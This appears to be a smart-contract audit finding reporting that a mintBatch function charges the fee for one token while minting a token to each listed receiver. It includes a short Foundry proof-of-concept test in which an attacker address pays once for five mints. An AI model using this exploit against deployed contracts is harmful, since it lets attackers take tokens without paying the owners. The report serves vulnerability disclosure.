The attacker could mint all the tokenId's, but paying the fee only for the 1 tokenId

Summary

In the mintBatch function we can mint a token to a set of receivers for the given work. However the function works incorrectly, because the fees is paid only for 1 tokenId, but the issue function mint tokenId in the loop to the different addresses.

Vulnerability Detail

Attacker create many accounts as receivers_
Attacker invoke the mintBatch and pay the fee for minting 1 tokenId. 2.1 - The 1 tokenId is minted for each receiver in the loop till the maxSupply is reached
Attacker receives all the tokenId's while paying only for one tokenId

function test_mintBatchToManyUsers() public {
        address[] memory users = new address[](5);
        users[0] = address(1);
        users[1] = address(2);
        users[2] = address(3);
        users[3] = address(4);
        users[4] = address(5);

        address attacker = address(8888);
        vm.deal(address(attacker), 1 ether);

        console.log("The attacker balance before", address(attacker).balance);
        vm.prank(address(attacker));
        edition.mintBatch{value: 0.01275 ether}(users, 1, 1, "0x");
        console.log("The attacker balance after", address(attacker).balance);
    }